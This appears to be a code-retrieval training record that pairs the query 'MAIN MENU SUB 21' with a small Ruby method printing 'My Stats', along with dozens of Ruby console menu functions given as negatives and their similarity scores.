"def main_menu_link; MAIN_MENU_LINK; end",
"def main_menu\n h = { \n :a => :ack,\n \"/\" => :ffind,\n :l => :locate,\n :v => :viminfo,\n :z => :z_interface,\n :d => :child_dirs,\n :r => :recent_files,\n :t => :dirtree,\n \"4\" => :tree,\n :s => :sort_menu, \n :F => :filter_menu,\n :c => :command_menu ,\n :B => :bindkey_ext_command,\n :M => :newdir,\n \"%\" => :newfile,\n :x => :extras\n }\n menu \"Main Menu\", h\nend",
"def main()\n main_menu(SHOW_HEADER);\n end",
"def main_menu\n h = { \n \"1\" => :view_article,\n \"2\" => :view_comments,\n :f => :display_forum,\n :v => :view_menu,\n :r => :reload,\n :m => :fetch_more,\n :R => :reddit_options,\n :H => :hacker_options,\n :s => :sort_menu, \n :C => :config_menu,\n :a => :view_article,\n :c => :view_comments,\n :x => :extras\n }\n=begin\n :a => :ack,\n \"/\" => :ffind,\n :l => :locate,\n :v => :viminfo,\n :z => :z_interface,\n :d => :child_dirs,\n :r => :recent_files,\n :t => :dirtree,\n \"4\" => :tree,\n :F => :filter_menu,\n :c => :command_menu ,\n :B => :bindkey_ext_command,\n :M => :newdir,\n \"%\" => :newfile,\n=end\n\n menu \"Main Menu\", h\nend",
"def list_menu\n puts \"\\nMain Menu\"\n puts \"1. Daily Prophet - News!\"\n puts \"2. Evanesco - Exit\"\n end",
"def display_main_menu(clear_screen = false)\n clear if clear_screen\n title_header(TITLES[:main_menu],\"_\",\"-\",false)\n\n Api.main_topics.each_with_index do |type, i|\n puts \"#{(\" \" * (PROFILE_SIDE / 2))}#{i+1}\".green + \". #{type}\" \n end\n\n puts \"\\n NAVIGATE: \".black.on_green + \" #{nav_main}\".on_black\n input_menu\n end",
"def main_menu\n @ui.input_1_change\n @ui.user_input1.downcase\n unless %w[trains routes stations cars].include? @ui.user_input1\n puts 'There is no such option in the main menu.'\n end\n main_menu_choose_option(@ui.user_input1)\n end",
"def menu\nend",
"def main_menu\n name_selector\n puts \"Okay #{@name}, what would you like to do?\"\n loop do\n case menu_arrows\n when '1'\n @recommendation.recommendation_menu\n when '2'\n puts 'you have the following number of games in your library: '\n @game_library.game_instances\n puts 'your custom list of games:'\n @game_library.user_games_lister\n when '3'\n puts 'add a game:'\n @game_library.add_title\n when '4'\n @game_library.delete_games\n when '5'\n @time_used.time_wasted\n when '6'\n @game_library.write_games\n puts 'thanks for your time!'\n exit\n end\n end\n end",
"def menu\n \n \n\nend",
"def main_menu\n\t\tputs '################################'\n\t\tputs '######### Tic Tac Toe ##########'\n\t\tputs '################################'\n\t\tputs '================================'\n\t\tputs '== Choose your weapon warrior =='\n\t\tputs '================================'\n\t\tputs '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^'\n\t\tputs '^^^^^^ Type Your Choice: ^^^^^^^'\n\t\tputs '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^'\n\t\tputs '$$$$$$$$$$$ 1. \"X\" $$$$$$$$$$$$$'\n\t\tputs '$$$$$$$$$$$ 2. \"O\" $$$$$$$$$$$$$'\n\t\tputs '--------------------------------'\n\tend",
"def menu\n \nend",
"def run_normal\n welcome_header\n main_menu \n end",
"def displaymenu # Console only\r\n\t\t @output.puts \"Menu: (1) Play | (2) New | (3) Analysis | (9) Exit\"\r\n\t\t end",
"def main_menu\r\n puts \"\\nMain Menu.\"\r\n puts \"A. List Buildings\"\r\n puts \"B. List Machines\"\r\n puts \"C. List Snacks\"\r\n puts \"D. List Users\"\r\n puts \"E. Find a Snack\"\r\n puts \"F. Add a New Snack\"\r\n puts \"G. Create New User\"\r\n puts \"H. List Favorites\"\r\n puts \"I. Find Favorites\"\r\n puts \"J. Add Favorites\"\r\n puts \"Q. Quit\"\r\nend",
"def main_menu\n selection = input(@menu) {|o| (1..2) === o.to_i }.to_i\n \n if 1 == selection\n :continue\n elsif 2 == selection\n :quit\n end\n end",
"def main_menu\n\tputs \"[a] - addition\"\n\tputs \"[s] - subtraction\"\n\tputs \"[m] - multiplication\"\n\tputs \"[d] - divison\"\n\tputs \"[exp] - exponent\"\n\tputs \"[sqrt] - square root\"\n\tputs \"[q] - quit\"\nend",
"def main_menu\n input = 0\n until input.to_i == @@main_ops.length - 1 \n print \"\\e[H\\e[2J\" #clears the screen\n puts @name \n print_menu(@@main_ops)\n print \"Choose an option by entering a number: \"\n input = gets.chomp\n call_option(input)\n end\n end",
"def main_menu\n puts \"Main Menu\"\n puts \"(a) - Basic calculator\"\n puts \"(b) - Advanced calculator\"\n puts \"(c) - Special calculators\"\n puts \"(q) - Quit\"\nend",
"def main_top_menu_items\n split_top_menu_into_main_or_more_menus[:main]\n end",
"def main_menu\n puts\"(b) - basic calculator\"\n puts\"(a) - advanced calculator\"\n puts\"(bmi) - body mass index\"\n puts\"(t) - trip calculator\"\n puts\"(m) - morgage\"\n puts\"(q) - quit\"\nend",
"def menu # can do custom methods within a method/class\n end",
"def print_menu menu_level= '0'\n print_menu_header menu_level\n\n 20.times do |counter|\n lvl = \"#{menu_level}.#{counter}\"\n puts \" #{counter} : \" + @menu_map[lvl][0] if @menu_map.has_key?(lvl)\n end\n puts \"Make a choice between those items. (X to exit)\"\n puts \"Use left arrow to go back\"\n end",
"def main_menu\n puts \"---------------Animal shelter 4.5A-----------\"\n puts\n puts \"[1] List clients\"\n puts \"[2] List animals for adoption\"\n puts \"[3] Add a new client\"\n puts \"[4] Add a new animal\"\n puts\n puts\n puts \"[5] exit\"\n puts \"---------------------------------------------\"\nend",
"def menu\n puts '1) Promedio de notas'\n puts '2) Inasistencia alumnos'\n puts '3) Alumnos aprobados'\n puts '4) Salir'\nend",
"def main_menu\n puts \"Here is a list of available commands:\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show - Show a contact\"\n puts \" search - Search contacts\"\n puts \" delete - Deletes a contact\"\n end",
"def main_Menu_Name\n Goldberg.menu.main_Menu_Name\n end",
"def index\n\t\t@content_title = \"Main menu\"\n\tend",
"def main_menu\n while true\n print_main_menu\n user_selected =gets.to_i\n call_option(user_selected)\n end\n end",
"def Mostrar_menu\n puts \"______________________________\"\n puts \"\\n-----[[ RUBY ARITMETICO]]-----\"\n puts \"______________________________\"\n puts \"1) Suma\"\n puts \"2) Resta\"\n puts \"3) División\"\n puts \"4) Multiplicación\"\n puts \"5) Potencia\"\n puts \"6) Residuo\"\n puts \"7) Volver al Menu Principal\"\n puts \"______________________________\"\n print \"Opcion: \"\n end",
"def nav_main(topic = \"main\")\n main = \"\"\n back = \"\"\n profile = \"[\" + \"\\#\".green + \"] View Profiles \"\n exit_cli = \"[\" + \"exit\".green + \"] Exit Program \"\n if topic != 'main'\n back = \"[\" + \"menu\".green + \"] Main Menu \" if topic != \"Top Ten\" || topic != \"kidnapped\"\n # else\n # main = \"[\" + \"menu\".green + \"] Main Menu \" if topic != \"main\"\n end\n \"#{profile}#{back}#{main}#{exit_cli}\"\n end",
"def print_main_menu\n\t\tputs \"[1] Add a contact\"\n\t\tputs \"[2] Modify a contact\"\n\t\tputs \"[3] Display all contacts\" \n\t\tputs \"[4] Display one contact\"\n\t\tputs \"[5] Display an attribute\"\n\t\tputs \"[6] Delete a contact\"\n\t\tputs \"[7] Exit\"\n\t\tputs \"Enter a number\"\n\tend",
"def main_menu\n menu = [\n \"My Stats\",\n \"My Hikes\",\n \"Trails\",\n \"Quit\"]\n choice = nil\n while choice != \"Quit\"\n system 'clear'\n puts \"------MAIN MENU------\"\n choice = @prompt.select(\"What would you like to do #{@current_user.name}?\", menu)\n\n case choice\n when \"My Stats\"\n user_stats\n when \"My Hikes\"\n hike_options\n when \"Trails\"\n trail_options\n end\n end\n end",
"def print_menu\n puts \"\\nMAIN MENU\"\n puts \"add (+)\"\n puts \"subtract (-)\"\n puts \"multiply (*)\"\n puts \"divide (/)\"\n puts \"modulo (%)\"\n puts \"exponify (^)\"\nend",
"def show_main_menu\n puts \" Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" list important - List all contacts\"\n puts \" show :id - Display contact details\"\n puts \" delete - Delete an entry\"\n puts \" find - Find an entry\"\n print \"> \"\n end",
"def show_main_menu\n puts \"What would you like do next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" delete - Delete a contact\"\n puts \" show - Display contact details\"\n # puts \" find - Find a contact\"\n print \"> \"\n end",
"def main_menu\n puts \"(b) - basic calculator\"\n puts \"(a) - advanced calculator\"\n puts \"(bmi) - BMI calculator\"\n puts \"(m) - mortgage calculator\"\n puts \"(t) - trip calculator\"\n puts \"(q) - quit\"\nend",
"def printMenu\n\t\tself.report(\"\n\t\tEscolha uma opção\n\t\t1 - Trocar palavra-chave.\n\t\t2 - Ver palavra-chave.\n\t\t3 - Ver arquivo.\n\t\t4 - Sair.\n\t\t? \", 1)\t\t\n\tend",
"def main_menu(owner_name, owner)\n puts \"#{page_break}\\n\n Select from the following menu options to get started:\\n\n 1 - Make New Appointent\n 2 - Reschedule Appointment\n 3 - Cancel Appointment\n 4 - Search for a Groomer\n 5 - Exit\n \"\n end",
"def getMenu(menu)\n end",
"def main_menu\n\tputs \"\\n1 Library\\n2 Staff Members\\n3 Books\\n4 Patrons\\n0 Exit\\n\"\n\tselect = make_selection\n\n\twhile select != \"1\" && select != \"2\" && select != \"3\" && select != \"4\" && select != \"0\"\n\t\tputs \"\\nInvalid choice selected\\n\"\t\t \t\t\n\t\tselect = make_selection\n\tend\n\n\tif select == \"1\"\n\t\tlibrary_choice = \"9\"\n\t\twhile library_choice != \"0\"\n\t\t\tlibrary_choice = select_choice_library\n\t\tend\n\n \telsif select == \"2\"\n\t\tstaff_member_choice = \"9\"\n\t\twhile staff_member_choice != \"0\"\n\t\t\tstaff_member_choice = select_choice_staff_member\n\t\tend\n\n\n\telsif select == \"3\"\n\t\tbook_choice = \"9\"\n\t\twhile book_choice != \"0\"\n\t\t\tbook_choice = select_choice_book\n\t\tend\n\n\n\telsif select == \"4\"\n\t\tpatron_choice = \"9\"\n\t\twhile patron_choice != \"0\"\n\t\t\tpatron_choice = select_choice_patron\n\t\tend\n\n\n\telsif select == \"0\"\n\t\tputs \"\\nGoodbye\"\t\t \t\t\n\tend\n\tselect \nend",
"def print_main_menu\n puts \"1. Add a contact\"\n puts \"2. Modify a contact\"\n puts \"3. Display all contacts\"\n puts \"4. Display a contact\"\n puts \"5. Display contact attributes\"\n puts \"6. Delete a contact\"\n puts \"7. Exit\"\n end",
"def show_main_menu\n puts \"Welcome to the app. What's next?\".yellow\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show - display details via index\"\n puts \" find - find someone by name\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def print_main_menu\n\t\tputs \"[1] Add a new contact\"\n\t\tputs \"[2] Modify an existing contact\"\n\t\tputs \"[3] Delete a contact\"\n\t\tputs \"[4] Display all the contacts\"\n\t\tputs \"[5] Display an attribute\"\n\t\tputs \"[6] Exit\"\n\t\tputs \"Enter a number: \"\n \tend",
"def show_main_menu\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" find - Find by name\"\n puts \" delete - Delete by ID\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def main_menu\n\t\twhile true\n\t\t\tprint_main_menu\n\t\t\tinput = gets.chomp.to_i\n\t\t\treturn if input == 7\n\t\t\tchoose_option(input)\n\t\tend\n\tend",
"def show_main_menu\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" find - Find by name\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def Mostrar_menu\n puts \"______________________________\"\n puts \"\\n-----[[ RUBY RANGOS]-----\"\n puts \"______________________________\"\n puts \"1) Generación numérica\"\n puts \"2) Generación de letras\"\n puts \"3) Volver al Menu Principal\"\n puts \"______________________________\"\n print \"Opcion: \"\n end",
"def show_main_menu\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show id - Show info for contact id number\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def define_menu_items\n add_menu_item(\"Weekly worktime.\", 1)\n add_menu_item(\"Monthly worktime.\", 2)\n add_menu_item(\"Custom worktime interval.\", 3)\n add_menu_item(\"Cancel and return to previous menu.\", 4)\n end",
"def main_menu\n @active = 0\n @prompt.select(\"\\nWhat would you like to do?\\n\".blue) do |menu|\n menu.choice \"Check out what's on today\", -> {today_menu} \n menu.choice \"Check out things to do on the weekend\", -> {weekend_menu}\n menu.choice \"Look at my favourites\", -> {display_favorites}\n menu.choice \"Exit\".red, -> {leave_app} \n end \n end",
"def main_menu\n \twhile true\n \t\tprint_main_menu\n\n \t\tprint \"Choose an option:\"\n \t\tuser_input = gets.chomp.to_i\n\n \t\tbreak if user_input == 7\n \t\t\n choose_option(user_input)\n \tend\n end",
"def assigned_menu\n\n end",
"def main_menu\n\t\twhile true\n\t\t\tprint_main_menu\n\t\t\tuser_selected = gets.chomp.to_i\n\t\t\t\tif user_selected == 7\n\t\t\t\tputs \"Current session ended, goodbye!\"\n\t\t\t\treturn\n\t\t\tend\n\t\t\tcall_option(user_selected)\n\t\tend\n\tend",
"def bar\n puts 'bar'\n main_menu\nend",
"def main_menu\n \"Welcome to BATTLESHIP\\nEnter p to play or q to quit\"\n end",
"def show_main_menu\n puts \"Welcome to the app. What would you like to do?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" quit - Exit Application\"\n puts \" show - shows contact with specific id\"\n puts \" find - find a user\"\n print \"> \"\n end",
"def menu ()\n menu_string = \"1. Show Menu\\n\"\n menu_string += \"2. Add Numbers\\n\"\n menu_string += \"3. Subtract Numbers\\n\"\n menu_string += \"4. Quit\\n\"\n return menu_string\nend",
"def index\n @root_menus = @system_config.menus.root_menus\n end",
"def menu_selection \nend",
"def main_menu\n puts \"(b) - basic calculator\"\n puts \"(a) - advanced calculator\"\n puts \"(q) - quit\"\nend",
"def main_menu\n puts \"(b) - basic calculator\"\n puts \"(a) - advanced calculator\"\n puts \"(q) - quit\"\nend",
"def menu\n puts \"- Type in a #{\"Nintendo Character\".colorize(:red)} | #{\"Game Series\".colorize(:blue)} | #{\"Amiibo Series\".colorize(:green)}\\n\\n\"\n puts \"- Type #{'1'.colorize(:yellow)} for a list of all the Game Series included in the Amiibo collection\"\n puts \"- Type #{'2'.colorize(:yellow)} for a list of all the Amiibo Series included in the Amiibo collection\"\n puts \"- Type #{'3'.colorize(:yellow)} for a list of all the Characters included in Amiibo collection\"\n puts \"- Type #{'4'.colorize(:yellow)} for a list of ALL Amiibos collection\\n\\n\"\n puts \"- Type #{'exit'.colorize(:yellow)} to exit the CLI\\n\\n\"\n puts \"--------------------------------------------------------------------------------\\n\\n\"\n sleep(2)\n end",
"def main_menu()\n system 'clear'\n loop do\n headline(\"My Petsitter App\")\n puts \"#{@emoji[:smiling_cat_face_with_open_mouth]} Welcome! #{@emoji[:dog_face]}\".colorize(:bold)\n puts @headline\n input = @prompt.select('Menu:') do |menu|\n menu.choice name: 'Pet Sitters', value: \"PET_SITTERS\"\n menu.choice name: 'Clients', value: \"CLIENTS\"\n menu.choice name: 'Jobs', value: \"JOBS\"\n menu.choice name: 'Logout', value: \"EXIT\"\n end\n puts '-' * 20\n go_to(input)\n end\n end",
"def print_main_menu\n puts '[1] Add a new contact'\n puts '[2] Modify an existing contact'\n puts '[3] Delete a contact'\n puts '[4] Display all the contacts'\n puts '[5] Search by attribute'\n puts '[6] Exit'\n puts 'Enter a number: '\n\n end",
"def init_menu\n @menus.set_selected(\"about\")\n end",
"def display_menu\n system('clear')\n arr = ['My List', 'Recommendations', 'Playlist', 'Account Details', 'Exit']\n @prompt.select(\"》 MAIN MENU 《\\n\".colorize(:light_green), arr)\n end",
"def print_main_menu\n puts \"[1] Add a new contact\"\n puts \"[2] Modify an existing contact\"\n puts \"[3] Delete a contact\"\n puts \"[4] Display all contacts\"\n puts \"[5] Search by attribute\"\n puts \"[6] delete_all\"\n puts \"[7] exit\"\n puts \"Enter a number: \"\n end",
"def main_menu\n\n\tputs \"***Ruby Cheatsheet***\"\n\tputs \"1. Command Line\"\n\tputs \"2. IDE\" \n\tputs \"3. Search\"\n\tputs \"4. Quit\"\n\tputs \"Make a selection 1 - 4:\"\n\nend",
"def view_menu\n h = {\n f: :select_from_visited_files,\n d: :select_from_used_dirs,\n b: :view_bookmarks,\n s: :list_selected_files,\n c: :child_dirs,\n r: :recent_files,\n t: :tree,\n e: :dirtree\n }\n menu 'View Menu', h\nend",
"def main_menu\n\tfinished = false\n\tbegin\n\t puts ' Text Music Player '.colorize(:color => :black, :background => :yellow)\n\t puts\n\t puts ' Main Menu: '.colorize(:color => :while, :background => :blue)\n\t puts '1 - Read in Album '.colorize(:color => :black, :background => :white)\n\t puts '2 - Display Albums Info '.colorize(:color => :black, :background => :white)\n\t puts '3 - Play Album '.colorize(:color => :black, :background => :white)\n\t puts '4 - Update Album '.colorize(:color => :black, :background => :white)\n\t puts '5 - Exit '.colorize(:color => :black, :background => :white)\n\t choice = read_integer_in_range(\"Option: \", 1, 5)\n\t case choice\n\t when 1\n\t\tdatabase_file = read_file\n\t\talbums = read_albums(database_file)\n\t when 2\n\t\tif validate(albums)\n\t\t\tprint_albums_info(albums)\n\t\tend\n\t when 3\n\t\tif validate(albums)\n\t\t\tplay_album(albums)\n\t\tend\n\t when 4\n\t\tif validate(albums)\n\t\t\tselect_update_album(albums)\n\t\tend\n\t else\n\t\tif isUpdated(albums)\n\t\t\tputs 'Updating album file infomation..'\n\t\tend\n\t\tfinished = true\n\t end\n\tend until finished\nend",
"def main_menu_nav(main_menu_item)\n main_menu_items.each do |item|\n if item.text == main_menu_item\n item.click\n break\n end\n end\n end",
"def menu\n # This uses a HEREDOC for multiline listing\n puts \"-------------------------\".colorize(:green) \n puts <<-MENU\n\nChoose a how you would like to see a card. You can view by name, creature, enchantment or sorcery:\n1. See cards by Name \n2. See cards by Creature \n3. See cards by Enchantment \n4. See cards by Sorcery\n\nOr type 'exit' at any time to leave the program. Type 'menu' to return to the main menu.\n MENU\n end",
"def display_main_menu\n loop do\n case main_menu_selection\n when 1\n RunApp.start_quiz(1)\n when 2\n RunApp.start_quiz(2)\n when 3\n exit\n end\n end\n end",
"def main_menu(user_instance)\n user_greeting(user_instance)\n case help\n when \"1\", \"playlist\", \"playlists\"\n system(\"clear\")\n playlists_menu(user_instance)\n when \"2\", \"songs\", \"song\"\n system(\"clear\")\n songs_menu(user_instance)\n # when \"3\", \"artists\", \"artist\"\n # system(\"clear\")\n # artists_menu(user_instance)\n when \"exit\"\n system(\"clear\")\n goodbye\n exit\n else\n system(\"clear\")\n puts \"Please enter a valid command.\".colorize(:red).bold\n main_menu(user_instance)\n end\nend",
"def show_main_menu\n puts \"\\e[H\\e[2J\"\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def main_menu\n while true\n print_main_menu\n user_selected = gets.chomp.to_s\n call_option(user_selected)\n end\n end",
"def menuScreen\n @levelNo=1\n clearScreen\n puts \"You are at the menu for Sokoban\"\n puts \"To quick play: Press 'p'\"\n puts \"To choose a level: Press 'c'\"\n puts \"To stop: Press 'q'\"\n charPressedInMenu\nend",
"def display_main_menu\n puts '################################'\n puts '# {N}- Network Stuff #'\n puts '# {RF}- Read File #'\n # puts '# {GF}- Generate File #'\n # puts '# {D}- Run as Daemon #'\n # puts '# {TD}- Run as Trigger Daemon #'\n puts '# {Q}- Quit #'\n puts '################################'\nend",
"def main_menu\n ctrlr = request.parameters['controller'].split('/').last\n dashboard_class = (ctrlr == 'dashboard' ? 'current' : '')\n assets_class = (ctrlr == 'assets' ? 'current' : '')\n design_class = ((ctrlr == 'themes' || ctrlr == 'resources') ? 'current' : '')\n contacts_class = (ctrlr == 'contacts' ? 'current' : '')\n settings_class = (ctrlr == 'settings' ? 'current' : '')\n content_class = ((ctrlr == 'home' || ctrlr == 'links' || ctrlr == 'news_items' || ctrlr == 'portfolios' || ctrlr == 'assigned_assets' || ctrlr == 'resume_sections' || ctrlr == 'resume_items' || ctrlr == 'galleries') ? 'current' : '')\n admin_class = ((ctrlr == 'users' || ctrlr == 'sites' || ctrlr == 'memberships') ? 'current' : '')\n \n result = content_tag('li', link_to('Dashboard', admin_dashboard_path, :class => dashboard_class))\n result << content_tag('li', link_to('Content', edit_admin_home_path, :class => content_class))\n result << content_tag('li', link_to(assets_name, admin_assets_path, :class => assets_class))\n result << content_tag('li', link_to('Design', admin_themes_path, :class => design_class))\n result << content_tag('li', link_to('Contacts', admin_contacts_path, :class => contacts_class))\n result << content_tag('li', link_to('Settings', edit_admin_settings_path, :class => settings_class))\n if admin?\n result << content_tag('li', link_to('Admin', admin_users_path, :class => admin_class))\n end\n result\n end",
"def menu\n\t\tputs \"\\nQuelle action veux-tu effectuer ?\"\n\t\tputs \"a - chercher une meilleure arme\"\n\t\tputs \"s - chercher à se soigner\\n\"\n\n\t\tputs \"\\nattaquer un joueur en vue :\"\n\t\tif player1.life_points > 0 \n\t\t\tputs \"0 - Josiane a #{player1.life_points} points de vie\"\n\t\tend\n\t\tif player2.life_points > 0\n\t\t\tputs \"1 - José a #{player2.life_points} points de vie\"\n\t\tend\n\t\tif player3.life_points > 0\n\t\t\tputs \"2 - José a #{player3.life_points} points de vie\"\n\t\tend\n\t\tif player4.life_points > 0\n\t\t\tputs \"3 - José a #{player4.life_points} points de vie\"\n\t\tend\n\tend",
"def render_menus \n# student_menu = add_menu('#{@studentb.full_name}')\n student_menu = add_menu('#{image_tag(@studentb.thumb_image,:style=>\";float:left;height:25px;margin-right:10px;\") + \" \" + @studentb.full_name + \" \"}',:action=>'profile')\n student_menu.add_submenu('Profile',:action=>'profile')\n student_menu.add_submenu('Photos',:action=>'photo',:if=>\"@studentb.visible_album_counts(@me) > 0\") \n student_menu.add_submenu('Binder',:action=>'show_notes',:if=>\"@studentb.notes.not_anonymous.size > 0\") \n \n end",
"def print_menu\n puts \"1. List patients\"\n # ....\n end",
"def current_sublink\n @current_sublink ||= current_menu_link_group.parent || InternalTab.new\n end",
"def default\n html = '<div class=\"menu0-div\"><ul>'\n @selected = find_selected\n level_0 = DcBigMenu.where(dc_site_id: @site._id, parent: nil, active: true).sort(order: 1).to_a\n level_0.each do |item|\n# menu can be hidden from user \n can_view, msg = dc_user_can_view(@parent, item)\n next unless can_view\n klas = item.id == @selected.id ? \"menu0-selected\" : \"menu0-item\"\n html << \"<li class='#{klas}'>#{ link_4menu(item) }</li>\\n\"\n end\n html << \"</ul></div>\"\n# submenu\n level_1 = DcBigMenu.where(dc_site_id: @site._id, parent: @selected.id, active: true).sort(order: 1).to_a\n html << \"<div class='menu1-div'><ul>\\n\"\n level_1.each do |item1|\n# menu can be hidden from user \n can_view, msg = dc_user_can_view(@parent, item1)\n next unless can_view\n html << \" <li class='menu1-item'>#{link_4menu(item1)}</li>\\n\"\n end\n html << '</ul></div>'\nend",
"def main_menu_runner\n\n splash\n\n login_menu_display\n\n end",
"def main_menu(user)\n user = user\n self.clear\n Ascii.image\n menu = [\"See all my plants\",\"Add new plant\",\"Delete my account\",\"Quit\"]\n menu_selection = @@prompt.select(\"What would you like to do?\",menu)\n \n case menu_selection\n when \"See all my plants\"\n my_plant(user)\n when \"Add new plant\"\n add_plant(user)\n when \"Delete my account\"\n answer = @@prompt.yes?(\"Are you sure?\")\n answer == true ? user.destroy : self.main_menu(user)\n when \"Quit\"\n index = 0\n # binding.pry\n color = [\"#7FFF00\",\"#6B8E23\",\"#008000\",\"#2F4F4F\",\"#00008B\"]\n 5.times do\n self.clear\n # binding.pry\n puts Paint[Ascii.goodbye, color[index]] \n index += 1\n sleep(0.7)\n end \n end\n end",
"def menu\n puts \"------Calculator----\"\n puts \"Welcome to the calculator!\"\n puts \"Please select an option:\"\n puts \"\\t1) Enter numbers and modifier\"\n puts \"\\t2) Enter a string input\"\n puts \"\\t3) View the calculations you have preformed\"\n puts \"\\t4) Exit\"\n main_menu\n end",
"def main_menu(season)\n self.print_main_menu(season)\n\n input = gets.strip.downcase\n\n # Uses case statement to check input\n case input \n when \"1\"\n self.handle_standings(season)\n when \"2\"\n self.handle_home_court_records(season)\n when \"3\"\n self.handle_home_court_advantages(season)\n when \"4\"\n self.handle_point_differentials(season)\n when \"5\"\n self.handle_team_stats(season)\n when \"6\"\n self.handle_head_to_head(season)\n when \"7\"\n self.handle_new_season\n when \"exit\"\n self.exit_program\n else\n puts \"Invalid input. Try Again\"\n self.main_menu(season)\n end\n end",
"def main_menu\n menu_options = [\"Start exploring\", \"Check Inventory\", \"Check Your Score\", \"Go to Pokemon Center\", \"Quit\"]\n menu_prompt = Interactivity.mainMenu \n \n if user.pokemon == nil\n menu_options.shift()\n menu_options.unshift(\"Choose a Pokemon and start exploring\")\n elsif self.user_current_location\n menu_options.shift()\n menu_options.unshift(\"Keep Exploring\")\n end\n \n choice = prompt.select(menu_prompt, menu_options) \n if choice == \"Start exploring\" || choice == \"Choose a Pokemon and start exploring\" || choice == \"Keep Exploring\"\n self.trainer_chooses_pokemon if user.pokemon == nil \n self.trainer_chooses_town\n self.exploring_town\n elsif choice == \"Check Inventory\"\n puts \"MANAGE INVENTORY - CHANGE POKEMONS AROUND\"\n elsif choice == \"Go to Pokemon Center\"\n self.pokemon_center\n elsif choice == \"Check Your Score\"\n puts \"CHECK YOUR SCORE\"\n else\n Interactivity.quit\n end\n end",
"def print_main_menu\t\n\t puts\n\t puts \"[1] Add a new contact\"\n\t puts \"[2] Modify an existing contact\"\n\t puts \"[3] Search and display a contact\"\n\t puts \"[4] Delete a contact\"\n\t puts \"[5] Display all contacts\"\n\t puts \"[6] Display a list by attribute\"\n\t puts \"[7] Exit this system\"\n\t puts\n\t puts \"Please enter a number from the above options: \"\n\tend",
"def print_menu()\n menu = [\"Add Item charge\",\"Add Labor\",\"Apply Discount\",\"total\",\"New Transaction\", \"Exit Application\"];\n\n for i in 1..6 do\n puts(\"#{i}\\t\\t#{menu[i-1]}\");\n end \nend",
"def menu\n\tputs \"Quelle action veux-tu effectuer?\"\n\tputs \"\\n\"\n\tputs \"a - chercher une meilleure arme\"\n\tputs \"s - chercher à se soigner\"\n\tputs \"\\n\"\n\tputs \"attaquer un joueur en vue :\"\n\ti = 0\n\tenemies_in_sight.each do |enemy|\n\t\ti +=1\n\t\tputs \"#{i} - #{enemy.name} a #{enemy.life_points} points de vie.\"\n\tend\n\tputs \"Fais ton choix\"\n\tprint \">\"\n\tend",
"def menu\n puts \"Quelle action veux-tu effectuer ?\" #Presentation menu\n puts \"\"\n puts \"a - chercher une meilleure arme\"\n puts \"s - chercher à se soigner\"\n puts \"\"\n puts \"Attaquer un joueur en vue\"\n print \"0 - \"\n puts @human_player.show_state\n counter_of_ennemies = 0\n @enemies.each do |mechant|\n print \"#{counter_of_ennemies} - \" \n puts mechant.show_state\n counter_of_ennemies += 1\n end\n end",
"def set_current_menu\r\n @current_menu = params[:controller].to_sym\r\n @current_sub_menu = nil\r\n end",
"def start_menu\n printf \"\\nPrograma para a disciplina de LPD\\n\"\n printf \"Choose one option\\n\"\n printf \"------------------------------------\\n\"\n printf \"1) Insert user\\n\"\n printf \"2) Login user\\n\"\n printf \"3) Delete user\\n\"\n printf \"0) Exit\\n\"\nend",
"def goldberg_main_menu\n render :file => \"#{RAILS_ROOT}/vendor/plugins/goldberg/app/views/goldberg/menu_items/_menubar.rhtml\", :use_full_path => false, :locals => {:level => 0, :depth => 0, :class_attr => nil}\n end",
"def init_menu\n @menus.set_selected(\"dashboard\")\n end"
] |
[
"0.7307953",
"0.71606725",
"0.70834875",
"0.70740604",
"0.70509964",
"0.7042365",
"0.7029924",
"0.69771636",
"0.68581223",
"0.6799567",
"0.67688185",
"0.6731339",
"0.67113525",
"0.667574",
"0.66510224",
"0.66173553",
"0.6612916",
"0.66068214",
"0.66034955",
"0.65852255",
"0.65645593",
"0.65593874",
"0.65567136",
"0.6530769",
"0.6530067",
"0.65190685",
"0.6493333",
"0.6489108",
"0.6424794",
"0.6414424",
"0.6402978",
"0.63997436",
"0.63809854",
"0.63761634",
"0.636196",
"0.6341579",
"0.6339455",
"0.6330247",
"0.6330081",
"0.63300365",
"0.6324269",
"0.6321835",
"0.6298779",
"0.62919885",
"0.62883073",
"0.6286897",
"0.62819636",
"0.6275468",
"0.6249358",
"0.62187785",
"0.62123466",
"0.62082374",
"0.62037843",
"0.6194347",
"0.61894506",
"0.6188034",
"0.6187643",
"0.61721426",
"0.61532426",
"0.6152779",
"0.6147572",
"0.6146218",
"0.61445105",
"0.6138897",
"0.6138897",
"0.6135187",
"0.6129944",
"0.6128938",
"0.61282176",
"0.6123613",
"0.6122641",
"0.612202",
"0.6114925",
"0.6114668",
"0.60896015",
"0.6063122",
"0.60575664",
"0.6055823",
"0.6055288",
"0.60508764",
"0.6049218",
"0.6049045",
"0.6043143",
"0.60412294",
"0.6040514",
"0.60363424",
"0.60343236",
"0.6029881",
"0.60204303",
"0.6012318",
"0.60118127",
"0.60048676",
"0.59947836",
"0.59874797",
"0.5968608",
"0.59655887",
"0.5964428",
"0.5959259",
"0.5956124",
"0.59551406",
"0.5948079"
] |
0.0
|
-1
|
MAIN MENU SUB 21
|
def user_stats_header
puts "My Stats"
line_break
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
